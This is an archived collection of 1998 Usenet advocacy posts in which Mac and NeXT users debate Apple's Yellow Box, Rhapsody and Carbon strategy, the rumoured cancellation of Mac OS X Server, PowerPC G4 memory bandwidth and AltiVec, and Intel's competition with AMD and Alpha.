Yes and no, the rest of your points are indeed very valid though. Apple
IS downplaying the whole YB/Rhapsody thing. I think we simply disagree on
what that implies though. When Apple used to downplay something, that
meant it was going away. However when Apple used to boost something, that
typically meant it was going away too. So you have to just stop and draw
your line, is the NEW Apple doing this as a part of a Plan, or do you think
this is still the Old Apple and it's going to go away. I believe, and
hope, it's the former.
> The only way I could get it now is by signing up to the developer program
> which means $500 at least.
Ohhhh, no, I mean Server when it ships. My point is that if Apple did
release a "Premier" now and a "newer" later, you stil pay twice.
> for, I won't buy it when it does ship, either. I don't think I'm alone in
> this -- it would be BIG MISTAKE for Apple to price OSXS anywhere near this
> level. but that's a whole 'nother discussion.
I suppose. And on this point I have _no_ idea what they will do. We
just have to wait and see.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: YB developer's lost revenues
Content-Type: text/plain; charset=us-ascii
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References: <70limg$rgq$1@nnrp1.dejanews.com> <B253CA5B-21140@206.165.43.156>
Mime-Version: 1.0
Date: Thu, 22 Oct 1998 14:54:30 GMT
In <B253CA5B-21140@206.165.43.156> "Lawson English" wrote:
> Er, not really. MacOS 8 was to be Copland. MacOS 7.7 was to become MacOS
> 8.
I refer to what is _now_ OS8 however. They've been doing a good job, why
does everyone want to nitpick this point (and it's not just you)?
> Apple merely renamed things for marketing and legal purposes (the
> clone-makers had no license for the next major release of MacOS, so by
> renaming 7.7 to MacOS 8, they had no license for System 7.7).
The reality is that they are releasing high quality OS's on a schedule.
This is a HUGE difference from the Apple of yesteryear.
Maury
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: Thu, 22 Oct 1998 13:26:41 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <70nbqh$q6q$1@nnrp1.dejanews.com>
References: <70limg$rgq$1@nnrp1.dejanews.com> <B253CA5B-21140@206.165.43.156>
"Lawson English" <english@primenet.com> wrote:
> spagiola@my-dejanews.com said:
> >I think that's being unduly harsh, at least for recent times. Both OS8 and
> >OS8.5 were shipped when Apple said they would be.
>
> Er, not really. MacOS 8 was to be Copland. MacOS 7.7 was to become MacOS 8.
Let's not get into THAT again. My point is: the new (post NeXT acquisition)
Apple shipped what IT called OS8 and OS8.5 when it said they would ship them.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Mac OS X Server
Content-Type: text/plain; charset=us-ascii
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References: <F15BsL.MMz@T-FCN.Net> <B25260B9-100817@206.165.43.138>
Mime-Version: 1.0
Date: Wed, 21 Oct 1998 14:17:22 GMT
In <B25260B9-100817@206.165.43.138> "Lawson English" wrote:
> I was under the impression that Carbon would be the direct API to the
> underlyign services. I was wrong. Regardless, eQD is called by both Carbon
> and YB if my understanding is NOW correct...
Good.
Maury
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Motorola's G4 PowerPC
Content-Type: text/plain; charset=us-ascii
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References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171>
<F1306A.3AF@T-FCN.Net> <70ftih$2ego$1@piglet.cc.uic.edu>
<F139H5.78H@T-FCN.Net> <christian.bau-2010981031270001@christian-mac.isltd.insignia.com>
Mime-Version: 1.0
Date: Wed, 21 Oct 1998 14:19:10 GMT
In <christian.bau-2010981031270001@christian-mac.isltd.insignia.com>
Christian Bau wrote:
> Interleaving memory only helps if you have two memory banks that both need
> two or more cycles between delivering data - interleave them and you go
> down to one cycle. But todays SDRAM memory has a long latency and then
> delivers data every bus cycle, so interleave doesnt help (unless you
> increase the bus to 166MHz so your memory is down to two bus cycles).
A most excellent summation, thanks.
> To improve latency, you need faster memory :-( or have some clever tricks
> to read the memory before it is actually needed. To improve bandwidth,
> today you need a wider bus.
How exactly does RAMBUS (and that clone of it) work? Is it basically
just another type of chip, or is the bus itself qualitatively different?
Maury
From: billa@uiuc.edu (Bill Altenberger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The vast microsoft conspiricy (Journalism)
Date: Tue, 20 Oct 1998 19:56:00 -0500
Organization: Just me
Message-ID: <billa-2010981956000001@archbald-48.slip.uiuc.edu>
References: <--1910982214370001@port36.lightlink.com>
> The following article appeared in the daily newspaper of a fairly small
> upstate New York urban center, on Oct. 12. The editiorial was not
> attributed to anyone, or any organization. It was entitled "Make Oct. 12
> Explorers day"
>
>
> The editiorial then droned on about how the American Holiday should be
> renamed to celebrate figures like John Glenn, de Gama, Lewis and Clark,
> Sacagawea, Lindbergh, Earhart, Armstrong, Salk, Curie. Then, in another
> sentence, deviod of any other names, was the name Bill Gates.
>
> "It could be about pioneers like Bill Gates, who explored the
> possibilities of computers and changed the world in the process..."
>
>
There is an Explorers club which is fairly tough to become a member of.
http://www.explorers.org. I wonder if Spanky Spangler and Evil Kenevil(?)
are members.
Bill
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
Date: 22 Oct 1998 15:32:30 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <70nj6e$3ud@newsb.netnews.att.com>
References: <70jml1$2ska$1@piglet.cc.uic.edu> <70jod0$c70$1@hecate.umd.edu> <70ksut$181k$1@piglet.cc.uic.edu>
Originator: gupta@tlctest
Processor Price Wars ???
From recent articles about the just-concluded Microprocessor Forum,
and from other articles, it appears that Intel is facing tough
competition in the x86 market.
a. In August, Intel-processor PCs accounted for only something
like 55% of the PCs sold. Many major vendors have embraced
non-Intel x86 processors; non-Intel processors dominate the
sub-$1K PC market, which is the fastest growing segment of
the market.
b. News from the Microprocessor Forum (e.g., see www.eet.com,
and back issues) reveal upcoming products attacking the
x86 market at the high- and the low- ends, from AMD, Cyrix, etc.
and from new entrants into the market.
It is not that Intel cannot compete with these on price;
Intel cannot do so without sacrificing its margins and profits
and ultimately, stock price.
With Intel's high-end product, the first IA-64 chip, Merced,
coming in late in 2000, and with no more performance than the
best x86 chips (Intel promises a doubling of performance with
McKinley, Merced's successsor, in 2001); with it facing renewed
competition with Compaq/Digital's Alpha, Intel doesn't have
anything to boost its margins on the high end.
To avoid ceding significant marketshare at the low end, Intel
may have to indulge in a price war.
This is going to cost Intel its stock price.
Well, today's NYT has a little note about Intel insiders selling
stock; a paraphrase of the comment of an analyst from a firm that
specializes in watching insider trading : Until last year, Intel
insiders would sell when the stock reached record levels. Now they
are selling at every rally, which to us is curious behavior.
Processor price wars on the horizon ?
-arun gupta
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Message-ID: <rbarris-ya023280002010981514270001@206.82.216.1>
References: <F130B3.3D0@T-FCN.Net> <B250BE09-2CA4B@206.165.43.49> <christian.bau-2010981016300001@christian-mac.isltd.insignia.com>
Organization: Quicksilver Software, Inc.
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Date: Tue, 20 Oct 1998 15:14:27 -0700
NNTP-Posting-Date: Tue, 20 Oct 1998 15:13:36 PDT
In article
<christian.bau-2010981016300001@christian-mac.isltd.insignia.com>,
christian.bau@isltd.insignia.com (Christian Bau) wrote:
> In article <B250BE09-2CA4B@206.165.43.49>, "Lawson English"
> <english@primenet.com> wrote:
>
> > Of course, it may be that AltiVec renders most of these points obsolete. I
> > don't recall how conversion between AltiVec fixed and float goes. It still
> > touches memory during the process, doesn't it?
>
> No. Basically, there are two instructions
>
> vector long l;
> vector float f;
>
> f = (float) l / pow (2.0, k); // for any constant 0 <= k < 32
> l = (long) (f * pow (2.0, k)); // for any constant 0 <= k < 32
>
> I would have liked an instruction that converts two float vectors into one
> vector of 16 bit numbers, though.
You can do it in three instructions, right? Two separate float->fixed
conversions followed by a merge. How many clocks this will take depends on
whether the float->fixed conversions have any steps that can be pipelined,
etc etc.
If you have a lot of them to do, you might actually be able to keep both
units (the vector ALU and the permute unit) going simultaneously. All off
the top of my head, no I'm not writing AltiVec code yet, etc. It seems
likely that for large batches, you'd easily be able to keep up with memory.
Rob
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Mac OS X Server
Content-Type: text/plain; charset=us-ascii
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References: <F170C6.Epu@T-FCN.Net> <B253CCA3-29A64@206.165.43.156>
Mime-Version: 1.0
Date: Thu, 22 Oct 1998 14:15:33 GMT
In <B253CCA3-29A64@206.165.43.156> "Lawson English" wrote:
> Giving Mac-only developers with legacy Mac-only code a way of porting to
> the PC without rewriting for Windows *OR* YB? Suddenly boosts the
> Mac-first
> numbers by a good bit and gives developers another alternative to using
> MS's cross-platform code.
Sure, but that's not what I asked...
>Would it offer PC people something they want?
I don't think it would. There's a few apps on the Mac that are still
best of breed, but they tend to be in niches. YB is a better strategy for
small shops in general - I know because I'm in one. Lawson, the MacOS
API's are old and tired. They NEED to GO! Everyone understands the value
of Carbon, but making THAT a strategy would be like making a 68k emulator a
strategy for Mac software on the PC. It's simply the wrong way to do it.
PC Carbon would be a boon to a few Mac developers that would like to move
over to the PC as well. Many already have though, it's a small group. And
I really honestly think they are better off with YB.
Let's put it this way, can you name five common apps that are currently
Mac only, still in active development, and porting would actually make a
difference to the lives of a good number of PC users. Then ask yourself if
five is the right number.
There's one other group that would love to have Carbon on PC's, and
that's current Mac owners. That's because in theory they could upgrade
their software to carbon versions over time and then someday buy a PC.
Consider this for an instant, and what that would do to Apple.
> Mike Paquette has hinted that Carbon could easily be made
> cross-platform...
Of course it could, two of my friends did it using QT3.0 on PC's and now
they have an engine that compiles PowerPlant code on PC's (you can download
a demo version of the resulting app, which is astounding of itself, at
www.sienna.com). That doesn't mean you want to though.
There's more to apps than API's that work, and the framework in the MacOS
is simply too thin to make such things clean - you need a number and
document format that can handle native bit ordering for one. On YB this
"just is", but where exactly do you put it on MacOS? What about something
as simple as saving a text file?
> In fact, the more I think about it, the more compelling THIS would be.
> Adobe uses their own home-grown version of MacApp to do all their
> cross-platform work. If Apple provided them with a viable cross-platform
> version of MacApp based on Carbon (MacApp IS being revised for Carbon,
> I've
> heard), then Adobe no longer has to maintain the cross-platform framework
> and can let Apple do it for them. Recommits Adobe to making a Mac-first
> suite of suite of apps and tweeks Bill Gates' nose in the process.
But there's the point, Adobe's already done this. You're missing the
issue - Carbon is so people don't have to do much work. What you're
suggesting is that Adobe do work to convert from one x-platform lib to
another. Why would they find this interesting in the least?
This IS the GX issue all over again. Abode also had to write it's own
graphics engine, one that is likely less powerful overall than GX. Yet
they didn't port to it. That's because their own stuff already worked.
Maury
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Mac OS X Server
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References: <F170C6.Epu@T-FCN.Net> <B253CCA3-29A64@206.165.43.156>
<70m8mh$ehe$1@news.digifix.com>
Mime-Version: 1.0
Date: Thu, 22 Oct 1998 14:17:26 GMT
In <70m8mh$ehe$1@news.digifix.com> Scott Anguish wrote:
> The key is to make NEW development for the Mac attractive by
> removing the need to choose one or the other platform.
And to a lessor extent, by having better tools.
Maury
From: Sander Vesik <sander@haldjas.folklore.ee>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: 22 Oct 1998 14:15:06 GMT
Organization: Eesti Keele Instituut/Eesti Rahvaluule Arhiiv
Message-ID: <909065706.426118@haldjas.folklore.ee>
References: <705opt$5ms@newsb.netnews.att.com> <3627893A.A296560B@mci.com> <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <F1306A.3AF@T-FCN.Net> <70ftih$2ego$1@piglet.cc.uic.edu> <F139H5.78H@T-FCN.Net> <christian.bau-2010981031270001@christian-mac.isltd.insignia.com>
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Cache-Post-Path: haldjas.folklore.ee!unknown@localhost.folklore.ee
In comp.sys.powerpc.advocacy Christian Bau <christian.bau@isltd.insignia.com> wrote:
> In article <F139H5.78H@T-FCN.Net>, maury@remove_this.istar.ca (Maury
> Markowitz) wrote:
> > In <70ftih$2ego$1@piglet.cc.uic.edu> Anil T Maliyekke wrote:
> > > I mean implementing a double rate interface where data is
> > > transfered on both the rising and falling edge of the bus
> > > clock. This way a 128 bit 100MHz system bus would be able to
> > > provide data at twice the rate (200MHz) and provide 3.2 GB/s
> > > of bandwidth.
> >
> > Sorry, more questions. In order to get these speeds it seems we need a
> > significanly upgraded memory bus. Would interleaving make everyone happy?
> > And what is needed for double rate use? Do current DRAMs handle this under
> > the proper conditions?
> Interleaving memory only helps if you have two memory banks that both need
> two or more cycles between delivering data - interleave them and you go
> down to one cycle. But todays SDRAM memory has a long latency and then
> delivers data every bus cycle, so interleave doesnt help (unless you
> increase the bus to 166MHz so your memory is down to two bus cycles).
> To improve latency, you need faster memory :-( or have some clever tricks
> to read the memory before it is actually needed. To improve bandwidth,
> today you need a wider bus.
Say you have a processor that can have more than one memory transaction in
flight, like say two (every ppc can). Un which case we can arrange it like:
PPC
|
|
|
-------
| |
| |
-------
| |
| |
A B
Where memory bank A contains all "even numbered" cache lines and memory
bank B contains all "odd numbered" cache lines. Now, if the processor wants
to access the memory, two consecutive memory accesses can be:
a) load two even numbered cache lines
b) load two odd numbered cache lines
c) load even numbered cache line and load odd numbered cache line
d) load odd numbered cache line and load even numbered cache line
In the case of a) and b) we win nothing. In the case of c) and d) however,
we can overlap the inital latency of SDRAM and present CPU with the other
cache line just after the first one, as if there was no latency for
accessing the second cache line.
--
Sander
There is no love, no good, no happiness and no future -
all these are just illusions.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: Thu, 22 Oct 1998 10:58:41 -0500
Organization: Ericsson North America Inc.
Message-ID: <362F5631.71F99B2B@ericsson.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com> <70g2s9$t17@shelob.afs.com> <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net> <70h3s8$e1r$2@birch.prod.itd.earthlink.net> <ch3-1910982238540001@1cust104.tnt5.redmond.wa.da.uu.net> <F14qsH.CE2@T-FCN.Net> <362CD8F5.27CBFE58@ericsson.com> <F16M4M.74s@T-FCN.Net> <362E00B4.7DFA199A@ericsson.com> <70lcvv$j2m$1@nnrp1.dejanews.com> <FIiROLCWddLd-pn2-YZYh8xLnlpzj@localhost> <70nh71$v87$1@nnrp1.dejanews.com>
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spagiola@my-dejanews.com wrote:
> You're right, I should have been more precise: AMONG MAC DEVELOPERS there
> never was any interest for YB, ergo, Steve couldn't have killed it. Make a
> list of all the traditional Mac developers who announced YB ports of their
> apps, or new apps written with YB, in 1997, and you'll come up with a very
> short list indeed.
This is the BS that makes me so mad. We keep hearing that no developers
announced YB products and therefore there was no interest.
Listen up: BULLSHIT
Most developers have a policy of *not* announcing products before they
are substantially complete. At the very least, most have a policy of
*not* announcing products before the operating system for which they're
designed has even SHIPPED!
Where did the Rhapsody announcements come from? Yep, you guessed it,
from OPENSTEP developers who already had a product shipping in "Prelude
to Rhapsody" and, as many of those people have pointed out, expected an
Apple release of Rhapsody in very short order because, as they all said,
"Rhapsody is already a product, it's OPENSTEP with Blue Box".
You *cannot* gauge MacOS developer interest in YB by product
announcements. It would have been idiotic! to announce YB products when
it was impossible to know
a) how to position them
b) how well they would work
c) how much to charge
d) how large the market would be
e) how they would affect MacOS development efforts
f) who would be buying what products
g) how Rhapsody would be priced
Jeez, they didn't even know whether there would be Mac clones or who
would be running Apple by the end of the year! This company has been
*RADIATING* uncertainty for the past decade.
> So I don't think Steve can be blamed for killing interest in YB among Mac
> developers.
Yes, he CAN. Steve did not move to resolve uncertainty, all he did was
make a HUGE freak show event in Cupertino with his silly Hawaii trip,
rampant killing of stable, shipping products, and shady Microsoft deal
(not an exclusive list, there are plenty more examples). If I'd had a
commercial MacOS product at the time I would have torn my hair out.
You seem to forget so conveniently that MacOS developers had significant
stake represented in their markets. Yes, it's unfortunate that OPENSTEP
developers were in a bind, but let's face it: they had nothing to lose
by joining the Apple team. MacOS developers were in a very different
situation. You expected them to be as devil-may-care and freelancing as
most OPENSTEP developers, and you were disappointed, but you have no
right to blame it on the MacOS market.
> I think he and Apple collectively CAN be blamed for making the
> problem worse by the way they presented the new OSX strategy, under which it
> appeared that Apple's commitment to YB was wavering at best, and non-existent
> at worst.
The bulk of the damage was already done before the OSX strategy. The OSX
thing just made me walk around muttering, "they're doomed. they're
doomed".
> A strong advocacy stance may well have persuaded more developers to
> start developing with YB, especially once the availability of Carbon promised
> a much smoother transition to the new OS (and hence a much larger number of
> potential customers). Instead, what we got was absolute and total silence.
For what it's worth, silence is far better than what we got in late
1997. In my opinion this is the *best* we've seen of Steve: big mouth
shut and products (iMac) shipping. Unfortunately, he and pal Larry
couldn't zip it to Fortune. The effects of *that* article will be just
lovely.
> To the point that when half-baked "OSX Server is cancelled" rumors come
> around, they sound completely plausible.
Actions speak louder than words. Ship Rhapsody and shut people like me
*up*. Make me lose $200 to mmalcolm crawford. Make me eat my words.
Bring it on. Nothing would make me happier.
MJP
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Mac OS X Server
Content-Type: text/plain; charset=us-ascii
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References: <362c2209$0$12429@nntp1.ba.best.com> <B2522334-193AC@206.165.43.138>
Mime-Version: 1.0
Date: Tue, 20 Oct 1998 22:00:19 GMT
In <B2522334-193AC@206.165.43.138> "Lawson English" wrote:
> OK, that's what I actually meant to say.
I believe that. Not. If that was what you meant to say, how is it that
YB apps would be calling Carbon?
Maury
From: Tom Vincent <tom.vincent@waii.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
Date: Tue, 20 Oct 1998 15:22:08 -0700
Organization: Western Geophysical - Bakersfield
Message-ID: <362D0D10.DC8B5517@waii.com>
References: <70fu05$2ego$2@piglet.cc.uic.edu> <70gopb$dq2$1@hecate.umd.edu> <70gssn$bko$1@piglet.cc.uic.edu> <70h4ik$trg$1@hecate.umd.edu> <70h91l$23ie$1@piglet.cc.uic.edu> <70hd1b$tgc$1@hecate.umd.edu>
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Right now Intel is the chip foundry for the Alpha. AMD has liscensed the Alpha
and has a strong relationship with IBM. IBM will outsource the manufacture of
the Alpha clone for AMD. IBM previously was a outsourcing foundry for National
Semiconductor/Cyrix.
Cheers,
Tom
> So, if you were IBM, do you support a chip that a competitor has some
> role in designing, and may be able to relatively easily port their
> OS/apps to, Or do you support the architecture of a competitor like
> Compaq. IMO, With the growth Compaq has seen in the last 6 years,
> the company IBM would fear first and foremost would have to be Compaq,
> not HP. HP makes workstations, but I don't recall really "big iron"
> boxes out of HP. Whereas Compaq with the Tandem and Digital acquisition
> Complete with the Alpha architecture will not only migrate into the
> worksttion space, but big Iron as well, competing in the stratosphere
> of computer hardware. Sorry, I still cannot envision the IBM-alpha
> senario quite so easily.
>
> : : IMO, the IBM-alpha story doesn't make much sense to me. IA-64 is
> : : projected by everyone as the steam roller that is coming. For IBM
> : : to take interest in Alpha they would be admitting that they have
> : : 2 elements they lack. 1. They would like to actively resist IA-64.
> : : 2. They lack the tool to do it. i.e. POWERPC is not sufficient a
> : : tool to this end, and they will support another competitor's
> : : product (Compaq Alpha) to do this. Again, IMO, the case for each
> : : one is weak, and combined, it's even weaker.
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Date: 21 Oct 1998 01:43:31 GMT
Organization: University of Maryland, College Park
Message-ID: <70je83$nlt$4@hecate.umd.edu>
References: <70fu05$2ego$2@piglet.cc.uic.edu> <70gopb$dq2$1@hecate.umd.edu> <70gssn$bko$1@piglet.cc.uic.edu> <70h4ik$trg$1@hecate.umd.edu> <70h91l$23ie$1@piglet.cc.uic.edu> <70hd1b$tgc$1@hecate.umd.edu> <362D0D10.DC8B5517@waii.com>
Tom Vincent (tom.vincent@waii.com) wrote:
: Right now Intel is the chip foundry for the Alpha. AMD has liscensed the Alpha
AMD did not license Alpha, just the point to point connection protocol.
: and has a strong relationship with IBM. IBM will outsource the manufacture of
: the Alpha clone for AMD. IBM previously was a outsourcing foundry for National
: Semiconductor/Cyrix.
What Alpha clone? AMD is going to start designing and making Alpha clones?
Where did you hear this from? (Actually it would make sense, since Compaq
and AMD have a very close relationship, but I haven't heard anything about
this) Also, AMD has its own fabs, aside from needing IBM as an insurance
policy if they run into process/processor ramp up problems again, AMD will
have enough capacity to make K6's, K7's and Alphas when they finish that
fab in Germany.
: Cheers,
: Tom
: > So, if you were IBM, do you support a chip that a competitor has some
: > role in designing, and may be able to relatively easily port their
: > OS/apps to, Or do you support the architecture of a competitor like
: > Compaq. IMO, With the growth Compaq has seen in the last 6 years,
: > the company IBM would fear first and foremost would have to be Compaq,
: > not HP. HP makes workstations, but I don't recall really "big iron"
: > boxes out of HP. Whereas Compaq with the Tandem and Digital acquisition
: > Complete with the Alpha architecture will not only migrate into the
: > worksttion space, but big Iron as well, competing in the stratosphere
: > of computer hardware. Sorry, I still cannot envision the IBM-alpha
: > senario quite so easily.
: >
: > : : IMO, the IBM-alpha story doesn't make much sense to me. IA-64 is
: > : : projected by everyone as the steam roller that is coming. For IBM
: > : : to take interest in Alpha they would be admitting that they have
: > : : 2 elements they lack. 1. They would like to actively resist IA-64.
: > : : 2. They lack the tool to do it. i.e. POWERPC is not sufficient a
: > : : tool to this end, and they will support another competitor's
: > : : product (Compaq Alpha) to do this. Again, IMO, the case for each
: > : : one is weak, and combined, it's even weaker.
--
davewang@kagututi.kecl.ntt.co.jp.meaningless
All statements are personal opinions
Not speaking for NTT or University of Maryland
Nara, Japan.
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Mac OS X Server
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Cc: english@primenet.com
Organization: My ISP puts something here if I don't.
References: <70m8mh$ehe$1@news.digifix.com> <B2542F3B-C66CA@206.165.43.7>
Mime-Version: 1.0
Date: Thu, 22 Oct 1998 14:25:18 GMT
In <B2542F3B-C66CA@206.165.43.7> "Lawson English" wrote:
> As far as I know, Adobe still uses its own version of MacApp that THEY
> ported to Windows. If Apple ports a version of Carbon to Windows so that
> MacApp can be used on both Windows and Mac directly, without Adobe needing
> to do their own internal support of the Windows equivalent, then they have
> incentive to produce Adobe products using Macs.
Sorry Lawson, this simply makes no sense. MacApp is a dead product,
there will be no more changes. Adobe's stuff already works, and has access
to the custom stuff they've written (graphics engines and such). Maybe I'm
missing something, what exactly is the benefit from re-porting their MacApp
layer?
> be using Pentiums for all their ground-breaking programming, which would
> explain why PowerPC algorithms aren't as robust as they might be since Mac
> development would abe an afterthought.
And porting their MacApp stuff to Carbon would suddenly make them start
using Mac's as the prime platform? Sorry, I can't see any justification
for this (even if it's true to begin with that they are on the PC).
Basically what you're saying is that they can do a lot of work to get the
exact same thing.
> But Yellow Box doesn't?
No, you can't run slightly-updated versions of your current apps on YB.
> Are you suggesting that the MacOS itself doesn't offer any advantage over
> Windows XX? Not even MacOS X?
MacOS is at a disadvantage in terms of development overall against Win32.
PP goes a long way to addressing this at one end, but the richness and
power of the Win32 stuff simply crushes the MacOS. The MacOS API's offer
little to no advantages, and in a bigger sense far behind what the Windows
platform offers. So yeah, this is what I'm suggesting. I mean come on,
YOUR PROGRAM has to figure out what menu was clicked by processing a
mouseDown!
Feel free to point out any counterexamples that make a _major_ difference.
Of course OS-X changes this, it offers YB. I still don't understand your
fear of YB. Yes I know it was created by the man you've chosen to be your
personal pariah, Jobs, but that doesn't mean anything. YB crushes Win32 in
the same way that Win32 crushes MacOS.
> But making Carbon cross-platform would do the same thing for *current*
> developers.
No it wouldn't. It would go some way to this, indeed, but certainly not
all the way. You're speaking from ignorance again.
Maury
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 20 Oct 1998 22:33:06 GMT
Organization: Michigan State University
Message-ID: <70j332$ko1$3@msunews.cl.msu.edu>
References: <01bdfc5b$c2fd8520$06387880@chewy>
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Cc: todd@dev.null
In <01bdfc5b$c2fd8520$06387880@chewy> "Todd Heberlein (todd at NetSQ dot com)" wrote:
> For most of us, the delays of Rhapsody (originally planned for Jan
> 98?), then delays of MacOS X Server (Fall of 98), and finally the
> potential cancellation of MacOS X Server is only frustrating.
>
> I wonder about all those developers creating YB applications but who
> cannot generate any revenues because of the OS never leaves the beta
> stage?
>
> While we [potential] users/customers can be frustrated by the
> [in]actions from Apple, I have to believe that the YB developers are
> really pulling out their hair.
>
> Suggestions: (1) Apple lets YB developers sell their products to
> current Rhapsody beta testers/developers. (2) Apple openly distribute
> MacOS X Server as pre-release software (perhaps for a $20 license fee)
> and let YB developers sell their products to this expanded consumer
> base. (3) Apple declare MacOS X Server as a product and sell it.
>
> Any thoughts?
Won't happen. Apple is only going sell MacOS X Server when they
are good and ready. Even worse is that YB for Windows may be delayed
even longer. YB on Windows is what is desperately needed to generate
income all around, even if it costs $20-25/per or even $50. Get it out
now so YB developers can start selling apps.
BTW: I don't know how many developers are actually using DR2 for
day to day work. I doubt it can be a lot at this point. But anything would
be better than nothing.
This situation is exactly why I advocated long ago Apple simply
port Openstep 4.2 and related products to PPC and let it stand
on it's own as a product. If even 1 in 20 tried it and 1/10 liked
it. Were talking 100,000's of potential application seats. This
would have been a huge shot in the arm for YB developers
and I suspect the port could have been released at WWDC
97 as beta then 1-2 months later as a product. If this would
have happened YB developers would be really steam rolling
now - and new ones coming on board I'm sure (though slowly
because of NeXT history)
Why didn't Apple do this when they had the dual OS track
already in place, putting Openstep on Apple hardware, to
leave time for MacOS/Openstep merger.
Well IMHO it's par for the course of bad marketing decisions
relating to YB/Openstep technology.
I won't be suprised if there are arn't a few more coming.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: 20 Oct 1998 22:37:40 GMT
Organization: Michigan State University
Message-ID: <70j3bk$ko1$4@msunews.cl.msu.edu>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5>
<70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com>
<70g2s9$t17@shelob.afs.com> <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net>
<70h3s8$e1r$2@birch.prod.itd.earthlink.net>
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Cc: ZiyaOz@earthlink.net
In <70h3s8$e1r$2@birch.prod.itd.earthlink.net> "Ziya Oz" wrote:
> ch3@earthlink.net (CaHand) wrote:
>
> >And I can't think of a better reason why Apple *should* have
> >kept OPENSTEP as a product line until OS X was ready. Now
> >there is consideration to kill not only the product, but the
> >market which supported it; just because it has the same prefix
> >as the MacOS.
>
> I thought you supported the name change from Rhapsody (DOA) to MacOS X Server
> claiming it intimated continued future support, what happened?
>
> Ziya Oz
I believe I am the one that advocated the above name change. But realize
that Apple failed to follow the rest of what I advocated in terms of a strong
commitment to YB, and to intel support, to bring back the enterprise.
They did neither and in fact were silent on the whole matter AFAIK.
Can you say I advocated wrongly or that Apple failed to follow the
most critical points in relation to the name change I advocated.
I thought it would be obvious to anyone what would happen if
Apple did the name change and didn't recommit to YB - (even
privately) and intel support.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: 20 Oct 1998 23:07:43 GMT
Organization: Michigan State University
Message-ID: <70j53v$ko1$5@msunews.cl.msu.edu>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5>
<70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com>
<70g2s9$t17@shelob.afs.com> <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net>
<70h3s8$e1r$2@birch.prod.itd.earthlink.net> <ch3-1910982238540001@1cust104.tnt5.redmond.wa.da.uu.net>
<F14qsH.CE2@T-FCN.Net> <70ijgl$9c$1@nnrp1.dejanews.com>
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Cc: spagiola@my-dejanews.com
In <70ijgl$9c$1@nnrp1.dejanews.com> spagiola@my-dejanews.com wrote:
